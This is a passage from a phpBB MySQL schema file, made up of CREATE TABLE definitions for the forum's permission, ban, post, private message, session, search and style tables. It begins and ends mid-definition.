mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, auth_role_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, auth_setting tinyint(2) DEFAULT '0' NOT NULL, KEY group_id (group_id), KEY auth_opt_id (auth_option_id), KEY auth_role_id (auth_role_id) ); # Table: 'phpbb_acl_options' CREATE TABLE phpbb_acl_options ( auth_option_id mediumint(8) UNSIGNED NOT NULL auto_increment, auth_option varbinary(50) DEFAULT '' NOT NULL, is_global tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, is_local tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, founder_only tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, PRIMARY KEY (auth_option_id), UNIQUE auth_option (auth_option) ); # Table: 'phpbb_acl_roles' CREATE TABLE phpbb_acl_roles ( role_id mediumint(8) UNSIGNED NOT NULL auto_increment, role_name blob NOT NULL, role_description blob NOT NULL, role_type varbinary(10) DEFAULT '' NOT NULL, role_order smallint(4) UNSIGNED DEFAULT '0' NOT NULL, PRIMARY KEY (role_id), KEY role_type (role_type), KEY role_order (role_order) ); # Table: 'phpbb_acl_roles_data' CREATE TABLE phpbb_acl_roles_data ( role_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, auth_option_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, auth_setting tinyint(2) DEFAULT '0' NOT NULL, PRIMARY KEY (role_id, auth_option_id), KEY ath_op_id (auth_option_id) ); # Table: 'phpbb_acl_users' CREATE TABLE phpbb_acl_users ( user_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, forum_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, auth_option_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, auth_role_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, auth_setting tinyint(2) DEFAULT '0' NOT NULL, KEY user_id (user_id), KEY auth_option_id (auth_option_id), KEY auth_role_id (auth_role_id) ); # Table: 'phpbb_banlist' CREATE TABLE phpbb_banlist ( ban_id mediumint(8) UNSIGNED NOT NULL auto_increment, ban_userid mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, ban_ip varbinary(40) DEFAULT '' NOT NULL, ban_email blob NOT NULL, ban_start int(11) UNSIGNED DEFAULT '0' NOT NULL, ban_end int(11) UNSIGNED DEFAULT '0' NOT NULL, ban_exclude tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, ban_reason blob NOT NULL, ban_give_reason blob NOT NULL, PRIMARY KEY (ban_id), KEY ban_end (ban_end), KEY ban_user (ban_userid, ban_exclude), KEY ban_email (ban_email(255), ban_exclude), KEY ban_ip (ban_ip, ban_exclude) ); # Table: 'phpbb_bbcodes' CREATE TABLE phpbb_bbcodes ( bbcode_id smallint(4) UNSIGNED DEFAULT '0' NOT NULL, bbcode_tag varbinary(16) DEFAULT '' NOT NULL, bbcode_helpline blob NOT NULL, display_on_posting tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, bbcode_match blob NOT NULL, bbcode_tpl mediumblob NOT NULL, first_pass_match mediumblob NOT NULL, first_pass_replace mediumblob NOT NULL, second_pass_match mediumblob NOT NULL, second_pass_replace mediumblob NOT NULL, PRIMARY KEY (bbcode_id), KEY display_on_post (display_on_posting) ); # Table: 'phpbb_bookmarks' CREATE TABLE phpbb_bookmarks ( topic_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, user_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, PRIMARY KEY (topic_id, user_id) ); # Table: 'phpbb_bots' CREATE TABLE phpbb_bots ( bot_id mediumint(8) UNSIGNED NOT NULL auto_increment, bot_active tinyint(1) UNSIGNED DEFAULT '1' NOT NULL, bot_name blob NOT NULL, user_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, bot_agent varbinary(255) DEFAULT '' NOT NULL, bot_ip varbinary(255) DEFAULT '' NOT NULL, PRIMARY KEY (bot_id), KEY bot_active (bot_active) ); # Table: 'phpbb_config' CREATE TABLE phpbb_config ( config_name varbinary(255) DEFAULT '' NOT NULL, config_value blob NOT NULL, is_dynamic tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, PRIMARY KEY (config_name), KEY is_dynamic (is_dynamic) ); # Table: 'phpbb_confirm' CREATE TABLE phpbb_confirm ( confirm_id binary(32) DEFAULT '' NOT NULL, session_id binary(32) DEFAULT '' NOT NULL, confirm_type tinyint(3) DEFAULT '0' NOT NULL, code varbinary(8) DEFAULT '' NOT NULL, seed int(10) UNSIGNED DEFAULT '0' NOT NULL, attempts mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, PRIMARY KEY (session_id, confirm_id), KEY confirm_type (confirm_type) ); # Table: 'phpbb_disallow' CREATE TABLE phpbb_disallow ( disallow_id mediumint(8) UNSIGNED NOT NULL auto_increment, disallow_username blob NOT NULL, PRIMARY KEY (disallow_id) ); # Table: 'phpbb_drafts' CREATE TABLE phpbb_drafts ( draft_id mediumint(8) UNSIGNED NOT NULL auto_increment, user_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, topic_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, forum_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, save_time int(11) UNSIGNED DEFAULT '0' NOT NULL, draft_subject blob NOT NULL, draft_message mediumblob NOT NULL, PRIMARY KEY (draft_id), KEY save_time (save_time) ); # Table: 'phpbb_extensions' CREATE TABLE phpbb_extensions ( extension_id mediumint(8) UNSIGNED NOT NULL auto_increment, group_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, extension varbinary(100) DEFAULT '' NOT NULL, PRIMARY KEY (extension_id) ); # Table: 'phpbb_extension_groups' CREATE TABLE phpbb_extension_groups ( group_id mediumint(8) UNSIGNED NOT NULL auto_increment, group_name blob NOT NULL, cat_id tinyint(2) DEFAULT '0' NOT NULL, allow_group tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, download_mode tinyint(1) UNSIGNED DEFAULT '1' NOT NULL, upload_icon varbinary(255) DEFAULT '' NOT NULL, max_filesize int(20) UNSIGNED DEFAULT '0' NOT NULL, allowed_forums blob NOT NULL, allow_in_pm tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, PRIMARY KEY (group_id) ); # Table: 'phpbb_forums' CREATE TABLE phpbb_forums ( forum_id mediumint(8) UNSIGNED NOT NULL auto_increment, parent_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, left_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, right_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, forum_parents mediumblob NOT NULL, forum_name blob NOT NULL, forum_desc blob NOT NULL, forum_desc_bitfield varbinary(255) DEFAULT '' NOT NULL, forum_desc_options int(11) UNSIGNED DEFAULT '7' NOT NULL, forum_desc_uid varbinary(8) DEFAULT '' NOT NULL, forum_link blob NOT NULL, forum_password varbinary(120) DEFAULT '' NOT NULL, forum_style mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, forum_image varbinary(255) DEFAULT '' NOT NULL, forum_rules blob NOT NULL, forum_rules_link blob NOT NULL, forum_rules_bitfield varbinary(255) DEFAULT '' NOT NULL, forum_rules_options int(11) UNSIGNED DEFAULT '7' NOT NULL, forum_rules_uid varbinary(8) DEFAULT '' NOT NULL, forum_topics_per_page tinyint(4) DEFAULT '0' NOT NULL, forum_type tinyint(4) DEFAULT '0' NOT NULL, forum_status tinyint(4) DEFAULT '0' NOT NULL, forum_posts mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, forum_topics mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, forum_topics_real mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, forum_last_post_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, forum_last_poster_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, forum_last_post_subject blob NOT NULL, forum_last_post_time int(11) UNSIGNED DEFAULT '0' NOT NULL, forum_last_poster_name blob NOT NULL, forum_last_poster_colour varbinary(6) DEFAULT '' NOT NULL, forum_flags tinyint(4) DEFAULT '32' NOT NULL, forum_options int(20) UNSIGNED DEFAULT '0' NOT NULL, display_subforum_list tinyint(1) UNSIGNED DEFAULT '1' NOT NULL, display_on_index tinyint(1) UNSIGNED DEFAULT '1' NOT NULL, enable_indexing tinyint(1) UNSIGNED DEFAULT '1' NOT NULL, enable_icons tinyint(1) UNSIGNED DEFAULT '1' NOT NULL, enable_prune tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, prune_next int(11) UNSIGNED DEFAULT '0' NOT NULL, prune_days mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, prune_viewed mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, prune_freq mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, PRIMARY KEY (forum_id), KEY left_right_id (left_id, right_id), KEY forum_lastpost_id (forum_last_post_id) ); # Table: 'phpbb_forums_access' CREATE TABLE phpbb_forums_access ( forum_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, user_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, session_id binary(32) DEFAULT '' NOT NULL, PRIMARY KEY (forum_id, user_id, session_id) ); # Table: 'phpbb_forums_track' CREATE TABLE phpbb_forums_track ( user_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, forum_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, mark_time int(11) UNSIGNED DEFAULT '0' NOT NULL, PRIMARY KEY (user_id, forum_id) ); # Table: 'phpbb_forums_watch' CREATE TABLE phpbb_forums_watch ( forum_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, user_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, notify_status tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, KEY forum_id (forum_id), KEY user_id (user_id), KEY notify_stat (notify_status) ); # Table: 'phpbb_groups' CREATE TABLE phpbb_groups ( group_id mediumint(8) UNSIGNED NOT NULL auto_increment, group_type tinyint(4) DEFAULT '1' NOT NULL, group_founder_manage tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, group_skip_auth tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, group_name blob NOT NULL, group_desc blob NOT NULL, group_desc_bitfield varbinary(255) DEFAULT '' NOT NULL, group_desc_options int(11) UNSIGNED DEFAULT '7' NOT NULL, group_desc_uid varbinary(8) DEFAULT '' NOT NULL, group_display tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, group_avatar varbinary(255) DEFAULT '' NOT NULL, group_avatar_type tinyint(2) DEFAULT '0' NOT NULL, group_avatar_width smallint(4) UNSIGNED DEFAULT '0' NOT NULL, group_avatar_height smallint(4) UNSIGNED DEFAULT '0' NOT NULL, group_rank mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, group_colour varbinary(6) DEFAULT '' NOT NULL, group_sig_chars mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, group_receive_pm tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, group_message_limit mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, group_max_recipients mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, group_legend tinyint(1) UNSIGNED DEFAULT '1' NOT NULL, PRIMARY KEY (group_id), KEY group_legend_name (group_legend, group_name(255)) ); # Table: 'phpbb_icons' CREATE TABLE phpbb_icons ( icons_id mediumint(8) UNSIGNED NOT NULL auto_increment, icons_url varbinary(255) DEFAULT '' NOT NULL, icons_width tinyint(4) DEFAULT '0' NOT NULL, icons_height tinyint(4) DEFAULT '0' NOT NULL, icons_order mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, display_on_posting tinyint(1) UNSIGNED DEFAULT '1' NOT NULL, PRIMARY KEY (icons_id), KEY display_on_posting (display_on_posting) ); # Table: 'phpbb_lang' CREATE TABLE phpbb_lang ( lang_id tinyint(4) NOT NULL auto_increment, lang_iso varbinary(30) DEFAULT '' NOT NULL, lang_dir varbinary(30) DEFAULT '' NOT NULL, lang_english_name blob NOT NULL, lang_local_name blob NOT NULL, lang_author blob NOT NULL, PRIMARY KEY (lang_id), KEY lang_iso (lang_iso) ); # Table: 'phpbb_log' CREATE TABLE phpbb_log ( log_id mediumint(8) UNSIGNED NOT NULL auto_increment, log_type tinyint(4) DEFAULT '0' NOT NULL, user_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, forum_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, topic_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, reportee_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, log_ip varbinary(40) DEFAULT '' NOT NULL, log_time int(11) UNSIGNED DEFAULT '0' NOT NULL, log_operation blob NOT NULL, log_data mediumblob NOT NULL, PRIMARY KEY (log_id), KEY log_type (log_type), KEY forum_id (forum_id), KEY topic_id (topic_id), KEY reportee_id (reportee_id), KEY user_id (user_id) ); # Table: 'phpbb_login_attempts' CREATE TABLE phpbb_login_attempts ( attempt_ip varbinary(40) DEFAULT '' NOT NULL, attempt_browser varbinary(150) DEFAULT '' NOT NULL, attempt_forwarded_for varbinary(255) DEFAULT '' NOT NULL, attempt_time int(11) UNSIGNED DEFAULT '0' NOT NULL, user_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, username blob NOT NULL, username_clean blob NOT NULL, KEY att_ip (attempt_ip, attempt_time), KEY att_for (attempt_forwarded_for, attempt_time), KEY att_time (attempt_time), KEY user_id (user_id) ); # Table: 'phpbb_moderator_cache' CREATE TABLE phpbb_moderator_cache ( forum_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, user_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, username blob NOT NULL, group_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, group_name blob NOT NULL, display_on_index tinyint(1) UNSIGNED DEFAULT '1' NOT NULL, KEY disp_idx (display_on_index), KEY forum_id (forum_id) ); # Table: 'phpbb_modules' CREATE TABLE phpbb_modules ( module_id mediumint(8) UNSIGNED NOT NULL auto_increment, module_enabled tinyint(1) UNSIGNED DEFAULT '1' NOT NULL, module_display tinyint(1) UNSIGNED DEFAULT '1' NOT NULL, module_basename varbinary(255) DEFAULT '' NOT NULL, module_class varbinary(10) DEFAULT '' NOT NULL, parent_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, left_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, right_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, module_langname varbinary(255) DEFAULT '' NOT NULL, module_mode varbinary(255) DEFAULT '' NOT NULL, module_auth varbinary(255) DEFAULT '' NOT NULL, PRIMARY KEY (module_id), KEY left_right_id (left_id, right_id), KEY module_enabled (module_enabled), KEY class_left_id (module_class, left_id) ); # Table: 'phpbb_poll_options' CREATE TABLE phpbb_poll_options ( poll_option_id tinyint(4) DEFAULT '0' NOT NULL, topic_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, poll_option_text blob NOT NULL, poll_option_total mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, KEY poll_opt_id (poll_option_id), KEY topic_id (topic_id) ); # Table: 'phpbb_poll_votes' CREATE TABLE phpbb_poll_votes ( topic_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, poll_option_id tinyint(4) DEFAULT '0' NOT NULL, vote_user_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, vote_user_ip varbinary(40) DEFAULT '' NOT NULL, KEY topic_id (topic_id), KEY vote_user_id (vote_user_id), KEY vote_user_ip (vote_user_ip) ); # Table: 'phpbb_posts' CREATE TABLE phpbb_posts ( post_id mediumint(8) UNSIGNED NOT NULL auto_increment, topic_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, forum_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, poster_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, icon_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, poster_ip varbinary(40) DEFAULT '' NOT NULL, post_time int(11) UNSIGNED DEFAULT '0' NOT NULL, post_approved tinyint(1) UNSIGNED DEFAULT '1' NOT NULL, post_reported tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, enable_bbcode tinyint(1) UNSIGNED DEFAULT '1' NOT NULL, enable_smilies tinyint(1) UNSIGNED DEFAULT '1' NOT NULL, enable_magic_url tinyint(1) UNSIGNED DEFAULT '1' NOT NULL, enable_sig tinyint(1) UNSIGNED DEFAULT '1' NOT NULL, post_username blob NOT NULL, post_subject blob NOT NULL, post_text mediumblob NOT NULL, post_checksum varbinary(32) DEFAULT '' NOT NULL, post_attachment tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, bbcode_bitfield varbinary(255) DEFAULT '' NOT NULL, bbcode_uid varbinary(8) DEFAULT '' NOT NULL, post_postcount tinyint(1) UNSIGNED DEFAULT '1' NOT NULL, post_edit_time int(11) UNSIGNED DEFAULT '0' NOT NULL, post_edit_reason blob NOT NULL, post_edit_user mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, post_edit_count smallint(4) UNSIGNED DEFAULT '0' NOT NULL, post_edit_locked tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, PRIMARY KEY (post_id), KEY forum_id (forum_id), KEY topic_id (topic_id), KEY poster_ip (poster_ip), KEY poster_id (poster_id), KEY post_approved (post_approved), KEY post_username (post_username(255)), KEY tid_post_time (topic_id, post_time) ); # Table: 'phpbb_privmsgs' CREATE TABLE phpbb_privmsgs ( msg_id mediumint(8) UNSIGNED NOT NULL auto_increment, root_level mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, author_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, icon_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, author_ip varbinary(40) DEFAULT '' NOT NULL, message_time int(11) UNSIGNED DEFAULT '0' NOT NULL, enable_bbcode tinyint(1) UNSIGNED DEFAULT '1' NOT NULL, enable_smilies tinyint(1) UNSIGNED DEFAULT '1' NOT NULL, enable_magic_url tinyint(1) UNSIGNED DEFAULT '1' NOT NULL, enable_sig tinyint(1) UNSIGNED DEFAULT '1' NOT NULL, message_subject blob NOT NULL, message_text mediumblob NOT NULL, message_edit_reason blob NOT NULL, message_edit_user mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, message_attachment tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, bbcode_bitfield varbinary(255) DEFAULT '' NOT NULL, bbcode_uid varbinary(8) DEFAULT '' NOT NULL, message_edit_time int(11) UNSIGNED DEFAULT '0' NOT NULL, message_edit_count smallint(4) UNSIGNED DEFAULT '0' NOT NULL, to_address blob NOT NULL, bcc_address blob NOT NULL, message_reported tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, PRIMARY KEY (msg_id), KEY author_ip (author_ip), KEY message_time (message_time), KEY author_id (author_id), KEY root_level (root_level) ); # Table: 'phpbb_privmsgs_folder' CREATE TABLE phpbb_privmsgs_folder ( folder_id mediumint(8) UNSIGNED NOT NULL auto_increment, user_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, folder_name blob NOT NULL, pm_count mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, PRIMARY KEY (folder_id), KEY user_id (user_id) ); # Table: 'phpbb_privmsgs_rules' CREATE TABLE phpbb_privmsgs_rules ( rule_id mediumint(8) UNSIGNED NOT NULL auto_increment, user_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, rule_check mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, rule_connection mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, rule_string blob NOT NULL, rule_user_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, rule_group_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, rule_action mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, rule_folder_id int(11) DEFAULT '0' NOT NULL, PRIMARY KEY (rule_id), KEY user_id (user_id) ); # Table: 'phpbb_privmsgs_to' CREATE TABLE phpbb_privmsgs_to ( msg_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, user_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, author_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, pm_deleted tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, pm_new tinyint(1) UNSIGNED DEFAULT '1' NOT NULL, pm_unread tinyint(1) UNSIGNED DEFAULT '1' NOT NULL, pm_replied tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, pm_marked tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, pm_forwarded tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, folder_id int(11) DEFAULT '0' NOT NULL, KEY msg_id (msg_id), KEY author_id (author_id), KEY usr_flder_id (user_id, folder_id) ); # Table: 'phpbb_profile_fields' CREATE TABLE phpbb_profile_fields ( field_id mediumint(8) UNSIGNED NOT NULL auto_increment, field_name blob NOT NULL, field_type tinyint(4) DEFAULT '0' NOT NULL, field_ident varbinary(20) DEFAULT '' NOT NULL, field_length varbinary(20) DEFAULT '' NOT NULL, field_minlen varbinary(255) DEFAULT '' NOT NULL, field_maxlen varbinary(255) DEFAULT '' NOT NULL, field_novalue blob NOT NULL, field_default_value blob NOT NULL, field_validation varbinary(60) DEFAULT '' NOT NULL, field_required tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, field_show_novalue tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, field_show_on_reg tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, field_show_on_vt tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, field_show_profile tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, field_hide tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, field_no_view tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, field_active tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, field_order mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, PRIMARY KEY (field_id), KEY fld_type (field_type), KEY fld_ordr (field_order) ); # Table: 'phpbb_profile_fields_data' CREATE TABLE phpbb_profile_fields_data ( user_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, PRIMARY KEY (user_id) ); # Table: 'phpbb_profile_fields_lang' CREATE TABLE phpbb_profile_fields_lang ( field_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, lang_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, option_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, field_type tinyint(4) DEFAULT '0' NOT NULL, lang_value blob NOT NULL, PRIMARY KEY (field_id, lang_id, option_id) ); # Table: 'phpbb_profile_lang' CREATE TABLE phpbb_profile_lang ( field_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, lang_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, lang_name blob NOT NULL, lang_explain blob NOT NULL, lang_default_value blob NOT NULL, PRIMARY KEY (field_id, lang_id) ); # Table: 'phpbb_ranks' CREATE TABLE phpbb_ranks ( rank_id mediumint(8) UNSIGNED NOT NULL auto_increment, rank_title blob NOT NULL, rank_min mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, rank_special tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, rank_image varbinary(255) DEFAULT '' NOT NULL, PRIMARY KEY (rank_id) ); # Table: 'phpbb_reports' CREATE TABLE phpbb_reports ( report_id mediumint(8) UNSIGNED NOT NULL auto_increment, reason_id smallint(4) UNSIGNED DEFAULT '0' NOT NULL, post_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, pm_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, user_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, user_notify tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, report_closed tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, report_time int(11) UNSIGNED DEFAULT '0' NOT NULL, report_text mediumblob NOT NULL, PRIMARY KEY (report_id), KEY post_id (post_id), KEY pm_id (pm_id) ); # Table: 'phpbb_reports_reasons' CREATE TABLE phpbb_reports_reasons ( reason_id smallint(4) UNSIGNED NOT NULL auto_increment, reason_title blob NOT NULL, reason_description mediumblob NOT NULL, reason_order smallint(4) UNSIGNED DEFAULT '0' NOT NULL, PRIMARY KEY (reason_id) ); # Table: 'phpbb_search_results' CREATE TABLE phpbb_search_results ( search_key varbinary(32) DEFAULT '' NOT NULL, search_time int(11) UNSIGNED DEFAULT '0' NOT NULL, search_keywords mediumblob NOT NULL, search_authors mediumblob NOT NULL, PRIMARY KEY (search_key) ); # Table: 'phpbb_search_wordlist' CREATE TABLE phpbb_search_wordlist ( word_id mediumint(8) UNSIGNED NOT NULL auto_increment, word_text blob NOT NULL, word_common tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, word_count mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, PRIMARY KEY (word_id), UNIQUE wrd_txt (word_text(255)), KEY wrd_cnt (word_count) ); # Table: 'phpbb_search_wordmatch' CREATE TABLE phpbb_search_wordmatch ( post_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, word_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, title_match tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, UNIQUE unq_mtch (word_id, post_id, title_match), KEY word_id (word_id), KEY post_id (post_id) ); # Table: 'phpbb_sessions' CREATE TABLE phpbb_sessions ( session_id binary(32) DEFAULT '' NOT NULL, session_user_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, session_forum_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, session_last_visit int(11) UNSIGNED DEFAULT '0' NOT NULL, session_start int(11) UNSIGNED DEFAULT '0' NOT NULL, session_time int(11) UNSIGNED DEFAULT '0' NOT NULL, session_ip varbinary(40) DEFAULT '' NOT NULL, session_browser varbinary(150) DEFAULT '' NOT NULL, session_forwarded_for varbinary(255) DEFAULT '' NOT NULL, session_page blob NOT NULL, session_viewonline tinyint(1) UNSIGNED DEFAULT '1' NOT NULL, session_autologin tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, session_admin tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, PRIMARY KEY (session_id), KEY session_time (session_time), KEY session_user_id (session_user_id), KEY session_fid (session_forum_id) ); # Table: 'phpbb_sessions_keys' CREATE TABLE phpbb_sessions_keys ( key_id binary(32) DEFAULT '' NOT NULL, user_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, last_ip varbinary(40) DEFAULT '' NOT NULL, last_login int(11) UNSIGNED DEFAULT '0' NOT NULL, PRIMARY KEY (key_id, user_id), KEY last_login (last_login) ); # Table: 'phpbb_sitelist' CREATE TABLE phpbb_sitelist ( site_id mediumint(8) UNSIGNED NOT NULL auto_increment, site_ip varbinary(40) DEFAULT '' NOT NULL, site_hostname varbinary(255) DEFAULT '' NOT NULL, ip_exclude tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, PRIMARY KEY (site_id) ); # Table: 'phpbb_smilies' CREATE TABLE phpbb_smilies ( smiley_id mediumint(8) UNSIGNED NOT NULL auto_increment, code varbinary(150) DEFAULT '' NOT NULL, emotion varbinary(150) DEFAULT '' NOT NULL, smiley_url varbinary(50) DEFAULT '' NOT NULL, smiley_width smallint(4) UNSIGNED DEFAULT '0' NOT NULL, smiley_height smallint(4) UNSIGNED DEFAULT '0' NOT NULL, smiley_order mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, display_on_posting tinyint(1) UNSIGNED DEFAULT '1' NOT NULL, PRIMARY KEY (smiley_id), KEY display_on_post (display_on_posting) ); # Table: 'phpbb_styles' CREATE TABLE phpbb_styles ( style_id mediumint(8) UNSIGNED NOT NULL auto_increment, style_name blob NOT NULL, style_copyright blob NOT NULL, style_active tinyint(1) UNSIGNED DEFAULT '1' NOT NULL, template_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, theme_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, imageset_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, PRIMARY KEY (style_id), UNIQUE style_name (style_name(255)), KEY template_id (template_id), KEY theme_id (theme_id), KEY imageset_id (imageset_id) ); # Table: 'phpbb_styles_template' CREATE TABLE phpbb_styles_template ( template_id mediumint(8) UNSIGNED NOT NULL auto_increment, template_name blob NOT NULL, template_copyright blob NOT NULL, template_path varbinary(100) DEFAULT '' NOT NULL, bbcode_bitfield varbinary(255) DEFAULT 'kNg=' NOT NULL, template_storedb tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, template_inherits_id int(4) UNSIGNED DEFAULT '0' NOT NULL, template_inherit_path varbinary(255) DEFAULT '' NOT NULL, PRIMARY KEY (template_id), UNIQUE tmplte_nm (template_name(255)) ); # Table: 'phpbb_styles_template_data' CREATE TABLE phpbb_styles_template_data ( template_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, template_filename varbinary(100) DEFAULT '' NOT NULL, template_included blob NOT NULL, template_mtime int(11) UNSIGNED DEFAULT '0' NOT NULL, template_data mediumblob NOT NULL, KEY tid (template_id), KEY tfn (template_filename) ); # Table: 'phpbb_styles_theme' CREATE TABLE phpbb_styles_theme ( theme_id mediumint(8) UNSIGNED NOT NULL auto_increment, theme_name blob NOT NULL, theme_copyright blob NOT NULL, theme_path varbinary(100) DEFAULT '' NOT NULL, theme_storedb tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, theme_mtime int(11) UNSIGNED DEFAULT '0' NOT NULL, theme_data mediumblob NOT NULL, PRIMARY KEY (theme_id), UNIQUE theme_name (theme_name(255)) ); # Table: 'phpbb_styles_imageset' CREATE TABLE phpbb_styles_imageset ( imageset_id mediumint(8) UNSIGNED NOT NULL auto_increment, imageset_name blob NOT NULL, imageset_copyright blob NOT NULL, imageset_path varbinary(100) DEFAULT '' NOT NULL, PRIMARY 